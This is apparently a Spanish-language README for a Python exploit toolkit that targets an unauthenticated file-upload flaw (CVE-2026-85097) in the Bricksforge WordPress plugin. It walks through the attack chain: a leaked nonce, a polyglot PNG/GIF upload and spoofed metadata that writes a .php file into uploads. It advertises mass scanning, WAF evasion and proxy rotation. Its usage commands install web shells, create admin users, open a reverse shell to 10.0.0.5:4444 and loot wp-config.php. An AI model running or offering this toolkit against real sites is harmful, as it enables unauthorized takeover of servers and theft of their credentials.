
Kit de herramientas en Python para CVE-2026-85097: explota la carga de archivos sin autenticación de Bricksforge en WordPress para lograr RCE mediante payloads poliglotas, además de un escáner de detección de versión no intrusivo.

CVSS 10.0
Kit de herramientas de explotación y escáner de detección segura
Solo para pruebas de seguridad autorizadas.
CVE-2026-85097 es una vulnerabilidad crítica de carga de archivos arbitraria no autenticada en el plugin Bricksforge para WordPress (versiones 3.1.8.9 y anteriores). Permite a atacantes remotos eludir la validación de MIME y cargar archivos PHP controlados por el atacante en el directorio de uploads, lo que resulta en ejecución remota de código como el usuario del servidor web.
Obtención del nonce: La acción AJAX bricksforge_regenerate_nonce está registrada con wp_ajax_nopriv_, lo que permite a atacantes no autenticados obtener un nonce REST válido.
Carga polyglot: El endpoint REST form_file_upload valida el tipo MIME del archivo cargado. Un archivo polyglot (cabecera PNG/GIF válida seguida de código PHP) supera esta comprobación.
Confianza en los metadatos: Durante el envío del formulario, el plugin confía en los metadatos proporcionados por el cliente en el parámetro temporaryFileUploads. El campo file apunta al polyglot validado, mientras que el campo url contiene el nombre de archivo elegido por el atacante (incluida la extensión .php).
Ejecución de PHP: El sink copy() del plugin utiliza el valor url proporcionado por el atacante tal cual como nombre de archivo de destino. El archivo polyglot se renombra a .php dentro de wp-content/uploads/YYYY/MM/ y se ejecuta al accederse.
| Atributo | Valor |
|---|---|
| [>] Descubierto | Octubre de 2026 (Patchstack) |
| [>] Puntuación CVSS | 10.0 (CRÍTICA) |
| [>] CWE | CWE-434 (Carga sin restricciones de archivos de tipo peligroso) |
| [>] Plugin afectado | Bricksforge (módulo Pro Forms) |
| [>] Versiones afectadas | 3.1.8.9 y anteriores |
| [>] Versión corregida | 3.1.8.10 |
| [>] Autenticación | No requerida (Pre-Auth) |
| [>] Explotación activa | Confirmada en la naturaleza (octubre de 2026) |
El kit de herramientas de explotación encadena la obtención del nonce, la carga polyglot, la manipulación de metadatos y la ejecución de PHP en un único flujo de trabajo automatizado, con funciones avanzadas para escaneo masivo, OPSEC y post-explotación.
| Característica | Descripción |
|---|---|
| [+] Cadena de ataque completa | Obtención de nonce, carga de polyglot, envío de formulario, verificación de shell |
| [+] Payloads polyglot | Variantes de chunk tEXt de PNG y extensión de comentario de GIF |
| [+] Escaneo masivo | Escaneo concurrente con grupo de hilos |
| [+] Post-explotación | Instalación de web shell, creación de usuario administrador, reverse shell, extracción de archivos |
| [+] Ejecución de comandos | Ejecutar comandos arbitrarios en shells confirmadas |
| [+] Detección segura | Escáner no intrusivo separado (safechecker.py) |
| [+] Evasion de WAF | Suplantación de encabezados, rotación de User-Agent, codificación de extensiones |
| [+] Soporte de proxy | Proxies SOCKS5, SOCKS4, HTTP con estrategias de rotación |
| [+] Múltiples formatos de salida | JSON, CSV, HTML, JSONL, SQLite |
| [+] Thread-Safe | Utiliza mecanismos de bloqueo para operaciones concurrentes |
| [+] Limitación de tasa | Limitador de tasa global con jitter y retardo |
| [+] Multiplataforma | Compatible con Linux, macOS, BSD, WSL |
| Etapa | Descripción |
|---|---|
nonce | Obtener un nonce REST válido mediante la acción AJAX no autenticada |
upload | Subir un PNG/GIF polyglot que pase la validación MIME |
submit | Enviar el formulario con metadatos que apunten al polyglot y una URL .php |
verify | Acceder a la shell subida y confirmar la ejecución de comandos |
exploit | Instalar web shell, crear administrador, activar reverse shell, extraer archivos |
El verificador seguro (safechecker.py) realiza detección de vulnerabilidades no intrusiva sin subir payloads, enviar formularios ni modificar el objetivo.
| Característica | Descripción |
|---|---|
| [+] Detección de WordPress | Identifica instancias de WordPress mediante múltiples patrones |
| [+] Detección de plugin | Confirma la presencia de Bricksforge mediante HTML y archivos estáticos |
| [+] Detección de versión | Detecta versiones específicas del plugin |
| [+] Comprobación de rutas REST | Enumera los endpoints REST de Bricksforge expuestos |
| [+] Sondeo de endpoint nonce | Comprobación opcional del endpoint nonce (--probe-nonce) |
| [+] Comprobación de log de depuración | Inspecciona wp-content/debug.log en busca de rastros del plugin |
| [+] No intrusivo | Solo identifica versiones vulnerables y endpoints expuestos |
| [+] Salida JSON/CSV/SQL/JSONL | Exporta resultados para informes |
| [+] Escaneo masivo | Escanea múltiples objetivos con soporte de hilos |
pip (para la librería requests)pip install requests urllib3
git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py
exploit.py)# Single target exploit
python3 exploit.py -u https://target.com --exploit
# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"
# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json
# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell
# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"
# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"
# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot
# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin